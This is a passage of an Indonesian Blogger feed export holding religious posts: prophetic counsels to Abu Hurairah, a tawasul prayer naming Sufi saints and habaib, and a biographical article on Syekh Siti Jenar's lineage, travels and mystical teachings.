dikhianati mereka dalam urusan wanita mereka. demikian ajaranku kepadamu agar kamu mengerti tentang petunjuk agama.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Apabila engkau bersunyi diri berbicara berduaan dengan orang yahudi, nasrani maupun majusi, maka tidak halal bagimu berpisah sebelum engkau mengajaknya ke dalam agama islam.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! janganlah sekali-kali engkau bertengkar dengan salah seorang di antara mereka. karena barangkali ia akan mengemukakan kepadamu ayat yang turun dari langit, khawatir engkau akan mendustakannya; atau sebaliknya engkau mengumukakan pula suatu firman Allah, maka dia mendustakan engkau pula. Tidak ada pembicaraanmu yang lebih baik kecuali engkau menyerunya kepada islam. demikianlah yang dimaksud oleh Allah "Debatlah mereka degan cara yang lebih baik" (An Nahl :125) yakni mengajak mereka supaya menganut Islam.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Sholatlah kamu dengan memakai kain yang sama, baik engkau Imam ataupun sebagai makmum, sekalipun kain itu kasar.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Adakah engkau ingin beroleh pahala seperti pahalanya kaum syuhada perang Badar? Cobalah perhatikan seorang muslim yang tidak mempunyai pakaian yang akan di pakainya ke Masjid pada hari Jum'at, maka pinjamilah atau berikanlah kain itu kepadanya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Inginkah engkau tidak mendengar raungan suara api neraka dan tidak sampai padamu jilatan api neraka itu? Maka bantulah orang-orang yang mengharapkan pertolongan, karena bahaya kebakarankah, kecuriankah, kebanjirankah atau karena keruntuhan rumah.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Selamatkanlah seseorang dari marabahaya dan kesusahan hidup niscaya engkau akan terlepas daripada kedukaan pada hari kiamat.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Berjalanlah kepada orang yang berhutang kepadamu dengan membawa haknya niscaya engkau diirngi malaikat dengan memberi selawat kepadamu.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Barangsiapa yang diketahui Allah, bahwa ia telah berhasrat membayar hutangnnya, niscaya Allah memberi rezekinya dengan tidak terduga, dan Allah mempersiapkannya utuk dapat membayar hutangnya itu selagi ia hidup atau sesudah matinya.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Barangsiapa yang beroleh karunia harta benda yang halal dan ia keluarkan zakatnya, kemudian harta itu diwariskan kepada pewaris-pewaris sepeninggalnya, maka segala sesuatu kebajikan yang diperbuat oleh para pewarisnya itu dengan mempergunakan harta peninggalannya itu, akan diperolehnya pahala sama seperti yang di dapat oleh para pewarisnya dengan tidak dikurangi sedikitpun.&lt;br /&gt;&lt;br /&gt;Hai Abu Hurairah! Barangsiapa yang menuduh (memfitnah) orang mukmin yang sudah beristri maupun bersuami melakukan perzinahan, dia akan dikurung pada hari kiamat dalam sebuah lembah "khabal" sampai dia mampu menunjukkan bukti dari apa yang diucapkannya itu. Aku (Abu Hurairah) bertanya: "Ya Rasul Allah apakah lembah "Khabal" itu?" Beliau menjawab: "Sebuah lembah yang terletak dalam neraka jahannam dimana mengalir nanah dan apa-apa yang keluar dari rongga mereka".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-4637241859319367042?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4637241859319367042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4637241859319367042'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2011/02/wasiat-rasulullah-saw-kepada-para.html' title='Wasiat Rasulullah SAW Kepada Para Sahabat'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1693222922138067667</id><published>2011-02-27T15:42:00.002+07:00</published><updated>2011-02-27T15:42:53.378+07:00</updated><title type='text'>Tawasul Para Wali-Wali Allah</title><content type='html'>&lt;span class="fullpost"&gt;    Alfattihah ila ruhi Sayyidina Wahabibina Wasyafi’ina Rosulillah Muhammad bin Abdillah S.A.W wa alihi wa as habihi wa azwajihi wa zuriatihi wa ahlul baiti aj’main,Fi masyariqil ardhi ila magribiha,&lt;br /&gt;&lt;br /&gt;Watsuma ila ruhi sadatina hababah Khodijatul kubro wa sadatina hababah aisyahtu ridho wa hababah siti fatimahtu zahro wa sayyidinal hasan wa sayyidinal husein,&lt;br /&gt;&lt;br /&gt;Tsuma ila had’roti sadatina abi bakrin wa’umaro wa’ustmana wa’aliyin karomallahu wajha wa rodhiallahu ta’ala anhum aj’main,&lt;br /&gt;&lt;br /&gt;watsuma ila ruhi sayyidina imam ahmad al-badawi wal imam ahmad rifa’i wal imam ahmad al-buni wal imam hanafi wal imam ghozali’ wal imam maliki’ wal imam syafe’I wal imam hambali,&lt;br /&gt;&lt;br /&gt;watsuma ila ruhi sayyidinal imam muhajir illallah ahmad bin isa wa sayyidinal faqihil muqaddam Muhammad bin ali ba’alawi wa ussulihim wa furuihim wajami’I sadatina ali ba’alawi wa zawil hukuki alaihim ajma’in,&lt;br /&gt;&lt;br /&gt;wa tsuma ila ruhi sayyidina kutbirobni wahai kumuroni tuan syekh abdul qodir al-jaelani’wal sayyidinal al imam abu hamid bin Muhammad bin Muhammad bin Muhammad al ghozali&lt;br /&gt;&lt;br /&gt;wa tsuma ila ruhi syekh al kabir al habib abdurahman assegaf bin Muhammad maula dawileh’wal habib umar al muhdor wal habib ali bin abu bakar assyakran’wal habib Abdulloh bin abu bakar al alaydrus al a’denni wa ussulihim wa furuihim&lt;br /&gt;&lt;br /&gt;wa tsuma ila ruhi wal habib Muhammad bin hasan jamalullail salim manta innat wa akhihi agil bin salim’&lt;br /&gt;&lt;br /&gt;wa tsuma ila ruhi sayyidina kutbil anfas sohibul ratib al habib umar bin abdurahman al attas wa syekh ali bin abdillahi baros&lt;br /&gt;&lt;br /&gt;wa tsuma ila ruhi sayyidina kutbil irsyad wa gautsilibad’sohibul ratib al habib Abdullah bin alwi al haddad wal habib ali bin Muhammad bin husein al habsyi sohibul maulid simtud duror wal habib Abdullah bin husein bin thohir’wal habib abu bakar bin Abdullah al attas’wal habib ahmad bin zein al habsyi’wal habib hasan bin sholeh al bahar’wal habib Abdullah bin umar assyatiri’wal habib ali ruhi sohibul hadroh’wal maqam al imam al qutub al habib husein bin abu bakar al idrus (luar batang)&lt;br /&gt;&lt;br /&gt;wa tsuma ila ruhi al imam al qutub sayyidina kutbil anfas tsani al habib Abdullah bin muhsin al attas (kramat empang bogor) wal habib muhsin bin Abdullah al attas (kramat empang bogor) wal habib zein bin Abdullah al attas’wal habib alwi bin Muhammad bin thohir al habib Muhammad bin ahmad al muhdor wal habib sholeh bin Muhammad al muhdor’wal habib alwi bin Muhammad al muhdor wal habib Muhammad bin idrus al habsyi’wal habib Muhammad bin husein al idrus’wal habib sholeh bin muhsin al hamid (tanggul) wal habib ja’far bin syeikhon assegaf wal habib alwi bin ali bin Muhammad bin husein al habsyi’wal ahmad bin tholib al attas&lt;br /&gt;&lt;br /&gt;wa tsuma ila ruhi al imam al habr al qutub al habib abdul qodir ibni ahmad bilfaqih’wal imam al habr al qutub al musnit al habib prof.Dr Abdullah bin abdul qodir bilfagih’wal habib ahmad bin Abdullah bilfagih’wal habib alwi bin Muhammad bin syihab’wal hamid’wal habib abu bakar bin umar bin yahya’wal habib ahmad bin muhsin al haddar’wal habib idrus bin salim al jufri’wal habib Abdullah bin abdurahman al attas’wal habib Muhammad bin thohir’wal habib ahmad bin Abdullah assegaf wa usulihim wa furuihim wa tsuma ila ruhi al attas’wal habib muhsin bin Muhammad al attas’wa tsuma ila ruhi assayyid al walid al habib salim bin ahmad bin jindan’wal habib ali bin husein al attas’wal habib Muhammad bin ahmad al haddad’wal habib umar bin hud al attas wa usulihim wa furuihim wa tsuma ila ruhi al ‘alamah al’arif billah ad da’I ilallah al habib ali bin abdurahman al habsyi’(kwitang) wal habib abdurahman bin Abdullah al habsyi’&lt;br /&gt;&lt;br /&gt;wal tsuma ila ruhi sohibul wilayah habib ahmad bin alwi al haddad’(kuncung kalibata) wal habib Abdullah bin ja’far al haddad (kalibata) wal habib salim bin thoha al haddad wal habib Abdullah bin husein al attas wal habib ahmad bin ali al bahasyiri wa usulihim wa furuihim wa tsuma ila ruhi sayyidil walid al-habib ja’far bin umar bin ja’far assegaf wa usulihim wa furuihim wa tsuma ila ruhi al-habib anis al-habsyi’(solo) wa usulihim wa furuihim wa tsuma ila ruhi sayyidil walid al habib abdurahman bin ahmad bin abdul qadir assegaf (bukit duri) wa tsuma ila ruhi abdullah,tsuma ilruhi abu bakar,&lt;br /&gt;&lt;br /&gt;tsuma ila ruhi Muhammad,&lt;br /&gt;tsuma ila ruhi musthafa,&lt;br /&gt;tsuma ila ruhi aluya,&lt;br /&gt;tsuma illa ruhi fathimah.&lt;br /&gt;&lt;br /&gt;khususon sohibul wilayah mauturobi arwahana wa ansadana assayid al walid al habib hasan bin ja’far bin umar bin ja’far assegaf wal habib Abdullah bin ja’far bin umar bin ja’far assegaf wal habib musthofa bin ja’far bin umar bin ja’far assegaf wal habib qasym sami bin ja’far bin umar bin ja’far assegaf wa usulihim wa furuihim wa zawil hukuki alaihim ajma’in biannallohi yu’li darojatihim fil jannah wayanfa’una bi asro rihim wa anwarihim wa ulumihim wa barokatihim wanafatihim fi dinni wa dunya wal akhiroh wayaj’aluna min hiznihim wayar zakuna mahabah tahum wayatawafana’ala milatihim wayah syuruna fi zumrotihim fi khoirin wa lutfin wal afiyah wassalamah waila hadrotin Nabi sayyidina Muhammad ibni abdillah S.A.W bi siril fatihah………&lt;br /&gt;   &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1693222922138067667?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1693222922138067667'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1693222922138067667'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2011/02/tawasul-para-wali-wali-allah.html' title='Tawasul Para Wali-Wali Allah'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-1198465839063937105</id><published>2011-02-27T15:36:00.000+07:00</published><updated>2011-02-27T15:36:39.163+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kajian islam'/><title type='text'>Semua Tentang Syech Siti Jenar serta Ajaran²nya</title><content type='html'>&lt;span class="fullpost"&gt;     Mengenal Nama Syekh Siti Jenar&lt;br /&gt;&lt;br /&gt;Syekh Siti Jenar (829-923 H/1348-1439 C/1426-1517 M), memiliki banyak nama : San Ali (nama kecil pemberian orangtua angkatnya, bukan Hasan Ali Anshar seperti banyak ditulis orang); Syekh ‘Abdul Jalil (nama yg diperoleh di Malaka, setelah menjadi ulama penyebar Islam di sana); Syekh Jabaranta (nama yg dikenal di Palembang, Sumatera dan daratan Malaka); Prabu Satmata (Gusti yg nampak oleh mata; nama yg muncul dari keadaan kasyf atau mabuk spiritual; juga nama yg diperkenalkan kepada murid dan pengikutnya); Syekh Lemah Abang atau Lemah Bang (gelar yg diberikan masyarakat Lemah Abang, suatu komunitas dan kampung model yg dipelopori Syekh Siti Jenar; melawan hegemoni kerajaan. Wajar jika orang Cirebon tidak mengenal nama Syekh Siti Jenar, sebab di Cirebon nama yg populer adalah Syekh Lemah Abang); Syekh Siti Jenar (nama filosofis yg mengambarkan ajarannya tentang sangkan-paran, bahwa manusia secara biologis hanya diciptakan dari sekedar tanah merah dan selebihnya adalah roh Allah; juga nama yg dilekatkan oleh Sunan Bonang ketika memperkenalkannya kepada Dewan Wali, pada kehadirannya di Jawa Tengah/Demak; juga nama Babad Cirebon); Syekh Nurjati atau Pangran Panjunan atau Sunan Sasmita (nama dalam Babad Cirebon, S.Z. Hadisutjipto); Syekh Siti Bang, serta Syekh Siti Brit; Syekh Siti Luhung (nama-nama yg diberikan masyarakat Jawa Tengahan); Sunan Kajenar (dalam sastra Islam-Jawa versi Surakarta baru, era R.Ng. Ranggawarsita [1802-1873]); Syekh Wali Lanang Sejati; Syekh Jati Mulya; dan Syekh Sunyata Jatimurti Susuhunan ing Lemah Abang.&lt;br /&gt;&lt;br /&gt;Siti Jenar lebih menunjukkan sebagai simbolisme ajaran utama Syekh Siti Jenar yakni ilmu kasampurnan, ilmu sangkan-paran ing dumadi, asal muasal kejadian manusia, secara biologis diciptakan dari tanah merah saja yg berfungsi sebagai wadah (tempat) persemayaman roh selama di dunia ini. Sehingga jasad manusia tidak kekal akan membusuk kembali ketanah. Selebihnya adalah roh Allah, yg setelah kemusnaan raganya akan menyatu kembali dengan keabadian. Ia di sebut manungsa sebagai bentuk “manunggaling rasa” (menyatu rasa ke dalam Tuhan).&lt;br /&gt;&lt;br /&gt;Dan karena surga serta neraka itu adalah untuk derajad fisik maka keberadaan surga dan neraka adalah di dunia ini, sesuai pernyataan populer bahwa dunia adalah penjara bagi orang mukmin. Menurut Syekh Siti Jenar, dunia adalah neraka bagi orang yg menyatu-padu dgn Tuhan. Setelah meninggal ia terbebas dari belenggu wadag-nya dan bebas bersatu dgn Tuhan. Di dunia manunggalnya hamba dgn Tuhan sering terhalang oleh badan biologis yg disertai nafsu-nafsunya. Itulah inti makna nama Syekh Siti Jenar.&lt;br /&gt;Asal Usul Syekh Siti Jenar&lt;br /&gt;&lt;br /&gt;Syekh Siti Jenar lahir sekitar tahun 829 H/1348 C/1426 M (Serat She Siti Jenar Ki Sasrawijaya; Atja, Purwaka Tjaruban Nagari (Sedjarah Muladjadi Keradjan Tjirebon), Ikatan Karyawan Museum, Jakarta, 1972; P.S. Sulendraningrat, Purwaka Tjaruban Nagari, Bhatara, Jakarta, 1972; H. Boedenani, Sejarah Sriwijaya, Terate, Bandung, 1976; Agus Sunyoto, Suluk Abdul Jalil Perjalanan Rohani Syaikh Syekh Siti Jenar dan Sang Pembaharu, LkiS, yogyakarta, 2003-2004; Sartono Kartodirjo dkk, [i]Sejarah Nasional Indonesia, Depdikbud, Jakarta, 1976; Babad Banten; Olthof, W.L., Babad Tanah Djawi. In Proza Javaansche Geschiedenis, ‘s-Gravenhage, M.Nijhoff, 1941; raffles, Th.S., The History of Java, 2 vol, 1817), dilingkungan Pakuwuan Caruban, pusat kota Caruban larang waktu itu, yg sekarang lebih dikenal sebagai Astana japura, sebelah tenggara Cirebon. Suatu lingkungan yg multi-etnis, multi-bahasa dan sebagai titik temu kebudayaan serta peradaban berbagai suku.&lt;br /&gt;&lt;br /&gt;Selama ini, silsilah Syekh Siti Jenar masih sangat kabur. Kekurangjelasan asal-usul ini juga sama dgn kegelapan tahun kehidupan Syekh Siti Jenar sebagai manusia sejarah.&lt;br /&gt;Pengaburan tentang silsilah, keluarga dan ajaran Beliau yg dilakukan oleh penguasa muslim pada abad ke-16 hingga akhir abad ke-17. Penguasa merasa perlu untuk “mengubur” segala yg berbau Syekh Siti Jenar akibat popularitasnya di masyarakat yg mengalahkan dewan ulama serta ajaran resmi yg diakui Kerajaan Islam waktu itu. Hal ini kemudian menjadi latar belakang munculnya kisah bahwa Syekh Siti Jenar berasal dari cacing.&lt;br /&gt;&lt;br /&gt;Dalam sebuah naskah klasik, cerita yg masih sangat populer tersebut dibantah secara tegas,&lt;br /&gt;“Wondene kacariyos yen Lemahbang punika asal saking cacing, punika ded, sajatosipun inggih pancen manungsa darah alit kemawon, griya ing dhusun Lemahbang.” [Adapun diceritakan kalau Lemahbang (Syekh Siti Jenar) itu berasal dari cacing, itu salah. Sebenarnya ia memang manusia berdarah kecil saja (rakyat jelata), bertempat tinggal di desa Lemah Abang]….&lt;serat Candhakipun Riwayat jati ; Alih aksara; Perpustakaan Daerah Propinsi Jawa Tengah, 2002, hlm. 1&gt;&lt;br /&gt;&lt;br /&gt;Jadi Syekh Siti Jenar adalah manusia lumrah hanya memang ia walau berasal dari kalangan bangsawan setelah kembali ke Jawa menempuh hidup sebagai petani, yg saat itu, dipandang sebagai rakyat kecil oleh struktur budaya Jawa, disamping sebagai wali penyebar Islam di Tanah Jawa.&lt;br /&gt;Syekh Siti Jenar yg memiliki nama kecil San Ali dan kemudian dikenal sebagai Syekh ‘Abdul Jalil adalah putra seorang ulama asal Malaka, Syekh Datuk Shaleh bin Syekh ‘Isa ‘Alawi bin Ahmadsyah Jamaludin Husain bin Syekh ‘Abdullah Khannuddin bin Syekh Sayid ‘Abdul Malikal-Qazam. Maulana ‘Abdullah Khannuddin adalah putra Syekh ‘Abdul Malik atau Asamat Khan. Nama terakhir ini adalah seorang Syekh kalangan ‘Alawi kesohor di Ahmadabad, India, yg berasal dari Handramaut. Qazam adalah sebuah distrik berdekatan dgn kota Tarim di Hadramaut.&lt;br /&gt;&lt;br /&gt;Syekh ‘Abdul Malik adalah putra Syekh ‘Alawi, salah satu keluarga utama keturunan ulama terkenal Syekh ‘Isa al-Muhajir al-Bashari al-‘Alawi, yg semua keturunannya bertebaran ke berbagai pelosok dunia, menyiarkan agama Islam. Syekh ‘Abdul Malik adalah penyebar agama Islam yg bersama keluarganya pindah dari Tarim ke India. Jika diurut keatas, silsilah Syekh Siti Jenar berpuncak pada Sayidina Husain bin ‘Ali bin Abi Thalib, menantu Rasulullah. Dari silsilah yg ada, diketahui pula bahwa ada dua kakek buyutnya yg menjadi mursyid thariqah Syathariyah di Gujarat yg sangat dihormati, yakni Syekh Abdullah Khannuddin dan Syekh Ahmadsyah Jalaluddin. Ahmadsyah Jalaluddin setelah dewasa pindah ke Kamboja dan menjadi penyebar agama Islam di sana.&lt;br /&gt;Adapun Syekh Maulana ‘sa atau Syekh Datuk ‘Isa putra Syekh Ahmadsyah kemudian bermukim di Malaka. Syekh Maulana ‘Isa memiliki dua orang putra, yaitu Syekh Datuk Ahamad dan Syekh Datuk Shaleh. Ayah Syekh Siti Jenar adalah Syekh Datuk Shaleh adalah ulama sunni asal Malaka yg kemudian menetap di Cirebon karena ancaman politik di Kesultanan Malaka yg sedang dilanda kemelut kekuasaan pada akhir tahun 1424 M, masa transisi kekuasaan Sultan Muhammad Iskandar Syah kepada Sultan Mudzaffar Syah. Sumber-sumber Malaka dan Palembang menyebut nama Syekh Siti Jenar dgn sebutan Syekh Jabaranta dan Syekh ‘Abdul Jalil.&lt;br /&gt;&lt;br /&gt;Pada akhir tahun 1425, Syekh Datuk Shaleh beserta istrinya sampai di Cirebon dan saat itu, Syekh Siti Jenar masih berada dalam kandungan ibunya 3 bulan. Di Tanah Caruban ini, sambil berdagang Syekh Datuk Shaleh memperkuat penyebaran Islam yg sudah beberapa lama tersiar di seantero bumi Caruban, besama-sama dgn ulama kenamaan Syekh Datuk Kahfi, putra Syehk Datuk Ahmad. Namun, baru dua bulan di Caruban, pada tahun awal tahun 1426, Syekh Datuk Shaleh wafat.&lt;br /&gt;Sejak itulah San Ali atau Syekh Siti Jenar kecil diasuh oleh Ki Danusela serta penasihatnya, Ki Samadullah atau Pangeran Walangsungsang yg sedang nyantri di Cirebon, dibawah asuhan Syekh datuk Kahfi.&lt;br /&gt;&lt;br /&gt;Jadi walaupun San Ali adalah keturunan ulama Malaka, dan lebih jauh lagi keturunan Arab, namun sejak kecil lingkungan hidupnya adalah kultur Cirebon yg saat itu menjadi sebuah kota multikultur, heterogen dan sebagai basis antarlintas perdagangan dunia waktu itu.&lt;br /&gt;&lt;br /&gt;Saat itu Cirebon dgn Padepokan Giri Amparan Jatinya yg diasuh oleh seorang ulama asal Makkah dan Malaka, Syekh Datuk Kahfi, telah mampu menjadi salah satu pusat pengajaran Islam, dalam bidang fiqih dan ilmu ‘alat, serta tasawuf. Sampai usia 20 tahun, San Ali mempelajari berbagai bidang agama Islam dgn sepenuh hati, disertai dgn pendidikan otodidak bidang spiritual.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Padepokan Giri Amparan Jati&lt;br /&gt;&lt;br /&gt;Setelah diasuh oleh Ki Danusela samapai usia 5 tahun, pada sekitar tahun 1431 M, Syekh Siti Jenar kecil (San Ali) diserahkan kepada Syekh Datuk Kahfi, pengasuh Pedepokan Giri Amparan Jati, agar dididik agama Islam yg berpusat di Cirebon oleh Kerajaan Sunda di sebut sebagai musu(h) alit [musuh halus] &lt;Purwaka Caruban Nagari, 75-76, cat. 39; Sejarah Nasional Indonesia, vol. II;221&gt;&lt;br /&gt;Di Padepokan Giri Amparan Jati ini, San Ali menyelesaikan berbagai pelajaran keagamaan, terutama nahwu, sharaf, balaghah, ilmu tafsir, musthalah hadist, ushul fiqih dan manthiq. Ia menjadi santri generasi kedua. Sedang yg akan menjadi santri generasi ketiga adalah Syarif Hidayatullah atau Sunan Gunung Jati. Syarif Hidayatullah baru datang ke Cirebon, bersamaan dgn pulangnya Syekh Siti Jenar dari perantauannya di Timur Tengah sekitar tahun 1463, dalam status sebagai siswa Padepokan Giri Amparan Jati, dgn usia sekitar 17-an tahun.&lt;br /&gt;Pada tahun 1446 M, setelah 15 tahun penuh menimba ilmu di Padepokan Amparan Jati, ia bertekad untuk keluar pondok dan mulai berniat untuk mendalami kerohanian (sufi). Sebagai titik pijaknya, ia bertekad untuk mencari “sangkan-paran” dirinya.&lt;br /&gt;Tujuan pertmanya adalah Pajajaran yg dipenuhi oleh para pertapa dan ahli hikmah Hindu-Budha. Di Pajajaran, Syekh Siti Jenar mempelajari kitab Catur Viphala warisan Prabu Kertawijaya Majapahit. Inti dari kitab Catur Viphala ini mencakup empat pokok laku utama.&lt;br /&gt;&lt;br /&gt;Pertama, nihsprha, adalah suatu keadaan di mana tidak adal lagi sesuatu yg ingin dicapai manusia. Kedua, nirhana, yaitu seseorang tidak lagi merasakan memiliki badan dan karenanya tidak ada lagi tujuan. Ketiga, niskala adalah proses rohani tinggi, “bersatu” dan melebur (fana’) dgn Dia Yang Hampa, Dia Yang Tak Terbayangkan, Tak Terpikirkan, Tak Terbandingkan. Sehingga dalam kondisi (hal) ini, “aku” menyatu dgn “Aku”. Dan keempat, sebagai kesudahan dari niskala adalah nirasraya, suatu keadaan jiwa yg meninggalkan niskala dan melebur ke Parama-Laukika (fana’ fi al-fana’), yakni dimensi tertinggi yg bebas dari segala bentuk keadaan, tak mempunyai ciri-ciri dan mengatasi “Aku”.&lt;br /&gt;&lt;br /&gt;Dari Pajajaran San Ali melanjutkan pengembaraannya menuju Palembang, menemui Aria Damar, seorang adipati, sekaligus pengamal sufi-kebatinan, santri Maulana Ibrahim Samarkandi. Pada masa tuanya, Aria Damar bermukim di tepi sungai Ogan, Kampung Pedamaran.&lt;br /&gt;&lt;br /&gt;Diperkirakan Syekh Siti Jenar berguru kepada Aria Damar antara tahun 1448-1450 M. bersama Aria Abdillah ini, San Ali mempelajari pengetahuan tentang hakikat ketunggalan alam semesta yg dijabarkan dari konsep “nurun ‘ala nur” (cahaya Maha Cahaya), atau yg kemudian dikenal sebagai kosmologi emanasi.&lt;br /&gt;Dari Palembang, San Ali melanjutkan perjalanan ke Malaka dan banyak bergaul dgn para bangsawan suku Tamil maupun Malayu. Dari hubungan baiknya itu, membawa San Ali untuk memasuki dunia bisnis dgn menjadi saudagar emas dan barang kelontong. Pergaulan di dunia bisnis tsb dimanfaatkan oleh San Ali untuk mempelajari berbagai karakter nafsu manusia, sekaligus untuk menguji laku zuhudnya ditengah gelimang harta. Selain menjadi saudagar, Syekh Siti jenar juga menyiarkan agama Islam yg oleh masyarakat setempat diberi gelar Syekh jabaranta. Di Malaka ini pula, ia bertemu dgn Datuk Musa, putra Syekh Datuk Ahmad. Dari uwaknya ini, Syekh Datuk Ahmad, San Ali dianugerahi nama keluarga dan nama ke-ulama-an Syekh Datuk ‘Abdul Jalil.&lt;br /&gt;&lt;br /&gt;Dari perenungannya mengenai dunia nafsu manusia, hal ini membawa Syekh Siti Jenar menuai keberhasilan menaklukkan tujuh hijab, yg menjadi penghalang utama pendakian rohani seorang salik (pencari kebenaran). Tujuh hijab itu adalah lembah kasal (kemalasan naluri dan rohani manusia); jurang futur (nafsu menelan makhluk/orang lain); gurun malal (sikap mudah berputus asa dalam menempuh jalan rohani); gurun riya’ (bangga rohani); rimba sum’ah (pamer rohani); samudera ‘ujub (kesombongan intelektual dan kesombongan ragawi); dan benteng hajbun (penghalang akal dan nurani).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pencerahan Rohani di Baghdad&lt;br /&gt;&lt;br /&gt;Setelah mengetahui bahwa dirinya merupakan salah satu dari keluarga besar ahlul bait (keturunan Rasulullah), Syekh Siti Jenar semakin memiliki keinginan kuat segera pergi ke Timur Tengah terutama pusat kota suci Makkah.&lt;br /&gt;&lt;br /&gt;Dalam perjalanan ini, dari pembicaraan mengenai hakikat sufi bersama ulama Malaka asal Baghdad Ahmad al-Mubasyarah al-Tawalud di sepanjang perjalanan. Syekh Siti Jenar mampu menyimpan satu perbendaharaan baru, bagi perjalanan rohaninya yaitu “ke-Esaan af’al Allah”, yakni kesadaran bahwa setiap gerak dan segala peristiwa yg tergelar di alam semesta ini, baik yg terlihat maupun yg tidak terlihat pada hakikatnya adalah af’al Allah. Ini menambah semangatnya untuk mengetahui dan merasakan langsung bagaimana af’al Allah itu optimal bekerja dalam dirinya.&lt;br /&gt;&lt;br /&gt;Inilah pangkal pandangan yg dikemudian hari memunculkan tuduhan dari Dewan Wali, bahwa Syekh Siti Jenar menganut paham Jabariyah. Padahal bukan itu pemahaman yg dialami dan dirasakan Syekh Siti Jenar. Bukan pada dimensi perbuatan alam atau manusianya sebagai tolak titik pandang akan tetapi justru perbuatan Allah melalui iradah dan quradah-NYA yg bekerja melalui diri manusia, sebagai khalifah-NYA di alam lahir. Ia juga sampai pada suatu kesadaran bahwa semua yg nampak ada dan memiliki nama, pada hakikatnya hanya memiliki satu sumber nama, yakni Dia Yang Wujud dari segala yg maujud.&lt;br /&gt;&lt;br /&gt;Sesampainya di Baghdad, ia menumpang di rumah keluarga besar Ahmad al-Tawalud. Disinilah cakrawala pengetahuan sufinya diasah tajam. Sebab di keluarga al-Tawalud tersedia banyak kitab-kitab ma’rifat dari para sufi kenamaan. Semua kitab itu adalah peninggalan kakek al-Tawalud, Syekh ‘Abdul Mubdi’ al-Baghdadi. Di Irak ini pula, Syekh Siti Jenar bersentuhan dgn paham Syi’ah Ja’fariyyah, yg di kenal sebagai madzhab ahl al-bayt.&lt;br /&gt;&lt;br /&gt;Syekh Siti Jenar membaca dan mempelajari dgn Baik tradisi sufi dari al-Thawasinnya al-Hallaj (858-922), al-Bushtamii (w.874), Kitab al-Shidq-nya al-Kharaj (w.899), Kitab al-Ta’aruf al-Kalabadzi (w.995), Risalah-nya al-Qusyairi (w.1074), futuhat al-Makkiyah dan Fushush al-Hikam-nya Ibnu ‘Arabi (1165-1240), Ihya’ Ulum al-Din dan kitab-kitab tasawuf al-Ghazali (w.1111), dan al-Jili (w.1428). secara kebetulan periode al-jili meninggal, Syekh Siti Jenar sudah berusia dua tahun. Sehingga saat itu pemikiran-permikiran al-Jili, merupakan hal yg masih sangat baru bagi komunitas Islam Indonesia.&lt;br /&gt;&lt;br /&gt;Dan sebenarnya Syekh Siti Jenar-lah yg pertama kali mengusung gagasan al-Hallaj dan terutama al-Jili ke Jawa. Sementara itu para wali anggota Dewan Wali menyebarluaskan ajaran Islam syar’i madzhabi yg ketat. Sebagian memang mengajarkan tasawuf, namun tasawuf tarekati, yg kebanyakkan beralur pada paham Imam Ghazali. Sayangnya, Syekh Siti Jenar tidak banyak menuliskan ajaran-ajarannya karena kesibukannya menyebarkan gagasan melalui lisan ke berbagai pelosok Tanah Jawa. Dalam catatan sastra suluk Jawa hanya ada 3 kitab karya Syekh Siti Jenar; Talmisan, Musakhaf (al-Mukasysyaf) dan Balal Mubarak. Masyarakat yg dibangunnya nanti dikenal sebagai komunitas Lemah Abang.&lt;br /&gt;&lt;br /&gt;Dari sekian banyak kitab sufi yg dibaca dan dipahaminya, yg paling berkesan pada Syekh Siti Jenar adalah kitab Haqiqat al-Haqa’iq, al-Manazil al-Alahiyah dan al-Insan al-Kamil fi Ma’rifat al-Awakhiri wa al-Awamil (Manusia Sempurna dalam Pengetahuan tenatang sesuatu yg pertama dan terakhir). Ketiga kitab tersebut, semuanya adalah puncak dari ulama sufi Syekh ‘Abdul Karim al-Jili.&lt;br /&gt;&lt;br /&gt;Terutama kitab al-Insan al-Kamil, Syekh Siti Jenar kelak sekembalinya ke Jawa menyebarkan ajaran dan pandangan mengenai ilmu sangkan-paran sebagai titik pangkal paham kemanuggalannya. Konsep-konsep pamor, jumbuh dan manunggal dalam teologi-sufi Syekh Siti Jenar dipengaruhi oleh paham-paham puncak mistik al-Hallaj dan al-Jili, disamping itu karena proses pencarian spiritualnya yg memiliki ujung pemahaman yg mirip dgn secara praktis/’amali-al-Hallaj; dan secara filosofis mirip dgn al-Jili dan Ibnu ‘Arabi.&lt;br /&gt;&lt;br /&gt;Syekh Siti Jenar menilai bahwa ungkapan-ungkapan yg digunakan al-Jili sangat sederhana, lugas, gampang 